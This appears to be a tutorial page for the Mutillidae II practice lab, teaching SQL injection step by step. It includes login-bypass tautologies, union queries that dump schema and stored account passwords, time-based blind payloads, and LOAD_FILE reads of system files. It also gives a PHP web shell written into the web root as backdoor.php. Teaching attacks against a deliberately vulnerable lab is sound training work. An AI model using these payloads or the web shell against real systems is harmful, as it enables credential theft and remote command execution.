SQL Injection (SQLi)

Overview SQL injection may occcur when user or attacker controlled input is later incorporated into an SQL query which is built and executed by the web application. Web applications which do not implement code-data segmentation by using routines (i.e. - stored procedures, user-defined functions) may be vulnerable. Some sites attempt to parameterize queries which prevents SQL injection but fails to meet other objectives such as least-privilege. Video Tutorials Discovery Methodology Inject all available parameters of the web page with charaters reserved in SQL, PL/SQL, T-SQL, and MySQL. Examine responses for difference from responses with normal input. Additionally attempt to inject valid SQL statements including statements which cause errors, induce pauses, and cause differences when similar statements evaluate to true or false. You may use tools like Burp-Suite and SQLMap to fuzz sites quickly Reconnaissance Error messages can be excellent sources of information. Developers are often naive about error messages and allow their apps to display errors rather than log the errors privately or email them to support staff. Secure sites use custom error pages that display no error messages. Finding an error message with respect to SQLi typically involves malforming the query on purpose. Special characters can get the job done. Single-quotes and parenthesis often cause errors in SQL Server, Oracle and MySQL databases. Dont forget to use different encodings of each character to see if that makes a difference. For example, try URL encoding, hex, etc. Try those first, then move onto any character that is not alpha-numeric. Hint: Go to the documentation for ANSI-SQL, Oracle, SQL Server, and MySQL to see which characters are reserved in those respective systems. (ANSI-SQL is the "common" SQL shared by all compliant databases.) In particular, determine what are the comment symbols for the respective systems. Try to find out what type of database is behind the application. Knowing if the database is Oracle, SQL Server, or MySQL can help a lot. Each has its own meta-tables, functions, system tables, system procedures, and vulnerabilities. If the database is SQL Server or MySQL, investigate the INFORMATION_SCHEMA and understand the built-in functions/procedures. They both implement this SQL-92 standard structure. Oracle uses non-standard "Oracle Data Dictionary" views. As of the date of this document, there is an awesome listing at http://ss64.com/orad/. Sometimes the type of database can be infered by its behavior. For example, SQL Server and MySQL both use "--" (double-hyphen) as the comment symbols; however, MySQL requires a space betwwen the comment symbol and the next character. This statement is a valid SQL injection against either SQL Server or MySQL: ' union select/**/name/**/FROM/**/INFORMATION_SCHEMA.TABLES-- MySQL can be identified by whether the injection requires a space on the end. Oracle and SQL Server do not care if there is a space at the end of the injection or not. But MySQL needs the space on the end. (At least when used with PHP.) ' union select name FROM INFORMATION_SCHEMA.TABLES-- (<-- space required here) Determine the page capibilities. If the page displays database records, standard SQL injection is probably the better tool. If the page processes queries but does not display query output (i.e. - a login page), then blind SQLi may be the better tool. Use the page normally and observe the behavior. For example, log into Mutillidae. Does Mutillidae display any information from the database because you log-in? (No) What happens when using page user-info.php? Does any data displaywhen using page user-info.php? (Yes) The login page is likely going to be a better candidate for blind SQL injection while user-info.php is likely a better candidate for direct SQL injection. Scanning Get specifications on database software (Example Page: user-info.php) ' union select null, database(), current_user(), version() -- If the meta-tables are available, they can footprint the database structure making the next steps much more productive. Check the documentation for Oracle, MySQL, and SQL Server. Determine the meta-table structures, table/view names, and column names. If the database is SQL Server or MySQL, investigate the INFORMATION_SCHEMA and understand the built-in functions/procedures. They both implement this SQL-92 standard structure. Oracle uses non-standard "Oracle Data Dictionary" views. As of the date of this document, there is an awesome listing at http://ss64.com/orad/. Extract table names from database. (Example Page: user-info.php) ' union select null,table_schema AS username,table_name AS password,null from INFORMATION_SCHEMA.TABLES-- Extract table columns from database using a single field (Example Page: user-info.php) ' union select null,concat_ws('.', table_schema, table_name, column_name) AS username,null,null from INFORMATION_SCHEMA.COLUMNS-- Extract views from database (Example Page: user-info.php) ' union select null,concat_ws('.', COALESCE(table_schema,''), COALESCE(table_name,''), COALESCE(view_definition,'')) AS username,null,null from INFORMATION_SCHEMA.VIEWS-- Extract triggers from database (Example Page: user-info.php) ' union select null,concat_ws('.', trigger_schema, trigger_name) AS username,null,null from INFORMATION_SCHEMA.TRIGGERS-- Extract routines/procs from database (Example Page: user-info.php) ' union select null,concat_ws('.', routine_schema, routine_name, routine_type, routine_body) AS username,null,null from INFORMATION_SCHEMA.ROUTINES-- Extract table columns from database (Example Page: user-info.php) ' union select null,concat_ws('.', table_schema, table_name, column_name) AS username,null,null from INFORMATION_SCHEMA.COLUMNS union select null,concat_ws('.', routine_schema, routine_name, routine_type, routine_body) AS username,null,null from INFORMATION_SCHEMA.ROUTINES union select null,concat_ws('.', table_schema, table_name, view_definition) AS username,null,null from INFORMATION_SCHEMA.VIEWS union select null,concat_ws('.', trigger_schema, trigger_name) AS username,null,null from INFORMATION_SCHEMA.TRIGGERS-- Blind SQL injection does not depend on seeing any resulting records. Instead, page timing can be used. Blind SQL Injection/Brute Forcing values (Example Page: login.php) ' union Select null, case current_user() when 'root@localhost' THEN sleep(5) ELSE sleep(0) END, null, null -- Exploitation Determine if SQL injection exists Try injecting characters reserved in databases to produce error messages single-quote back-slash double-hyphen forward-slash period If error message is produces, examine message for helpful errors, queries, database brand, columns, tables or other information. If no error message present, send valid data, "true" injections ("or 1=1") and "false" injections ("and 1=0"). Look for difference in the three responses Technique: Blind SQL Injection - True and False Values Field: username True Value (Using Proxy): ' or 1=1 -- False Value (Using Proxy): ' and 1=0 -- If no errors nor differences are produced, try timing attacks ("mysql sleep(), sql server waitfor(), oracle sleep()") ' union Select null, null, null, sleep(5) -- Determine injection types that work Determine the prefix and suffix needed to make the injected code "fit" syntatically then add a payload between. Inject the exploit. Example: Some pages on the site are vulnerable to ' or 1=1 -- (Note: There is a space on the end of this expression) Note that some characters which are reserved in databases are also reserved in web servers. If submitting injections directly via an interception proxy like Burp-Suite, URL encode the injection to avoid a syntax error on the web server. URL Encoded version %27%20%6f%72%20%31%3d%31%20%2d%2d%20 UNION statements Determine number of columns in application query. Inject NULL columns until injected query works. Determine position of a varchar or equivalent column Use position of found column(s) to place injected columns. Use NULL for rest Inline injection Usually happens when ORDER BY or HAVING clause present in application query Timing injection Technique: Blind SQL Injection - Timing Page: login.php Field: username Value (Using Proxy): ' union Select null, case SUBSTRING(current_user(),1,1) when 'r' THEN sleep(5) ELSE sleep(0) END, null, null -- Value (Using Direct Request): username=%27%20union%20Select%20null%2C%20case%20SUBSTRING%28current_user%28%29%2C1%2C1%29%20when%20%27r%27%20THEN%20sleep%285%29%20ELSE%20sleep%280%29%20END%2C%20null%2C%20null%20--%20&password=&login-php-submit-button=1 Attempt to determine database server brand Technique: Direct Injection Page: user-info.php Field: username Value (Using Proxy): ' union select null,VERSION() AS username,null,null -- Formulate and test query Attempt to determine database name Technique: Direct Injection Page: user-info.php Field: username Value (Using Proxy): ' union select null,DATABASE() AS username,null,null -- Attempt to determine schema name Technique: Direct Injection Page: user-info.php Field: username Value (Using Proxy): ' union select null,table_schema AS username,null,null from INFORMATION_SCHEMA.TABLES-- Attempt to determine table(s) names Technique: Direct Injection Page: user-info.php Field: username Value (Using Proxy): ' union select null,table_schema AS username,table_name AS password,null from INFORMATION_SCHEMA.TABLES-- Attempt to determine column(s) names Technique: Direct Injection Recon: Extract table columns from database using a single field Page: user-info.php Field: Username Value: ' union select null,concat_ws('.', table_schema, table_name, column_name) AS username,null,null from INFORMATION_SCHEMA.COLUMNS-- Attempt to extract data Technique: Direct Injection Page: user-info.php Field: Username Value: ' union select null, owasp10.accounts.username AS username, owasp10.accounts.password AS password, null from owasp10.accounts -- Attempt to read files from server Technique: Direct Injection Page: user-info.php Field: username Value (relative path): ' union select null, LOAD_FILE('../README') AS username, null, null-- Value (absolute path): ' union select null, LOAD_FILE('..\\..\\..\\..\\WINDOWS\\system32\\drivers\\etc\\hosts') AS username, null, null-- ' union select null, LOAD_FILE('..\\..\\..\\..\\WINDOWS\\inf\\cpu.inf') AS username, null, null-- Attempt to upload files to server Attempt to execute commands. This is easier on SQL Server 2000 and 2005. MySQL has limited system command abilities. SQL Server 2008 disables system commands by default and requires them to be enabled. Attempt to determine database computer name, IP address, username, version, etc. MySQL Functions: VERSION() - MySQL server version USER() - Database user issuing query DATABASE() - Database on server against which query is running Attempt to pivot to database server level. This will largely depend on either being able to execute system commands via the database server or upload files to the file system. Uploading files would allow web application pages to be uploaded which can contain system calls. Gaining Access Extract passwords from user table (Example Page: user-info.php) ' union select null, owasp10.accounts.username AS username, owasp10.accounts.password AS password, null from owasp10.accounts -- Using SQL Injection (Page: login.php) ' or 1=1 -- Using advanced techniques: Open files on target operating system Page: user-info.php Field: username Values: ' union select null, LOAD_FILE('../README') AS username, null, null-- ' union select null, LOAD_FILE('..\\..\\..\\..\\WINDOWS\\system32\\drivers\\etc\\hosts') AS username, null, null-- ' union select null, LOAD_FILE('..\\..\\..\\..\\WINDOWS\\inf\\cpu.inf') AS username, null, null-- ' union select null, LOAD_FILE('mysql_error.log'), null, null-- ' union select null, LOAD_FILE('..\\..\\..\\htdocs\\mutillidae\\index.php'), null, null-- Using advanced techniques: Writing files to operating system Page: user-info.php Field: username Value: ' union select null,null,null,null,'<form action="" method="post" enctype="application/x-www-form-urlencoded"><table style="margin-left:auto; margin-right:auto;"><tr><td colspan="2">Please enter system command</td></tr><tr><td></td></tr><tr><td class="label">Command</td><td><input type="text" name="pCommand" size="50"></td></tr><tr><td></td></tr><tr><td colspan="2" style="text-align:center;"><input type="submit" value="Execute Command" /></td></tr></table></form><?php echo "<pre>";echo shell_exec($_REQUEST["pCommand"]);echo "</pre>"; ?>' INTO DUMPFILE '..\\..\\htdocs\\mutillidae\\backdoor.php' --  This is the source code for the web shell. Also try Laudinum. <form action="" method="post" enctype="application/x-www-form-urlencoded"> <table style="margin-left:auto; margin-right:auto;"> <tr> <td colspan="2">Please enter system command</td> </tr> <tr><td></td></tr> <tr> <td class="label">Command</td> <td><input type="text" name="pCommand" size="50"></td> </tr> <tr><td></td></tr> <tr> <td colspan="2" style="text-align:center;"> <input type="submit" value="Execute Command" /> </td> </tr> </table> </form> <?php echo "<pre>"; echo shell_exec($_REQUEST["pCommand"]); echo "</pre>"; ?> Example (Bypass Authentication) Mutillidae II contains a login page that is vulnerable to SQL injection. Browse to login.php. Verify security level is 0 Web applications using forms-based authentication often keep credentials in data stores. The system compares the username and password entered against the credentials on file. Sometimes causing error messages can help. Begin by injecting all characters/patterns that are reserved in SQL Reserved characters are used to form commands in the database. Try a single-quote (') or an opening comment symbol (/*) for example If the system sends error messages back to the client, the information may help construct better injections Note that errors may be embedded in HTML comments From the query in the error message, an injection can be formulated directly If the query was not available injection would still be possible but require more time For this particular query the following solution will work: ' or 5=5-- . There is a space at the end. Example (Dump user credentials) Mutillidae II contains a "user lookup" page that is vulnerable to SQL injection. Browse to user-info.php. Verify security level is 0 Page comes in SQL, XML and SOAP versions. Use the SQL version. Sometimes causing error messages can help. Begin by injecting all characters/patterns that are reserved in SQL Reserved characters are used to form commands in the database. Try a single-quote (') or an opening comment symbol (/*) for example If the system sends error messages back to the client, the information may help construct better injections Note that errors may be embedded in HTML comments From the query in the error message, an injection can be formulated directly If the query was not available injection would still be possible but require more time For this particular query the following solution will work: ' or 5=5-- . There is a space at the end. Example (Shorter Injections) Tautologies like 5=5 resolve to TRUE or FALSE. In MySQL, TRUE = [not zero] and false = 0. Therefore, any positive number can be substituted for TRUE. Injections like ' OR 1 -- are equivalents to injections like ' or 5=5 -- In MySQL, # and -- are both comments but # is shorter. Injections like ' OR 1 # are equivalents to injections like ' or 5=5 -- In MySQL, binary comparisons can cause a statement to evaluate to TRUE. Injections like '&1# are equivalents to injections like ' or 5=5 -- Videos SQL Injection Explained - Part 1: The Basics SQL Injection Explained - Part 2: Tautologies SQL Injection Explained - Part 3: Selective Injections SQL Injection Explained - Part 4: Discovery by Error SQL Injection Explained - Part 5: Union-Based SQL Injection SQL Injection Explained - Part 6: Timing Attacks SQL Injection Explained - Part 7: Reading Files SQL Injection Explained - Part 8: Authentication Bypass SQL Injection Explained - Part 9: Inserting Data SQL Injection Explained - Part 10: Web Shells SQL Injection Explained - Part 11: Beware the Cross-Site Scripts Introduction to SQL Injection for Beginners Introduction to SQL Injection with SQLMap Automate SQL Injection using sqlmap SQL Injection via AJAX request with JSON response Basics of using sqlmap - ISSA KY Workshop - February 2013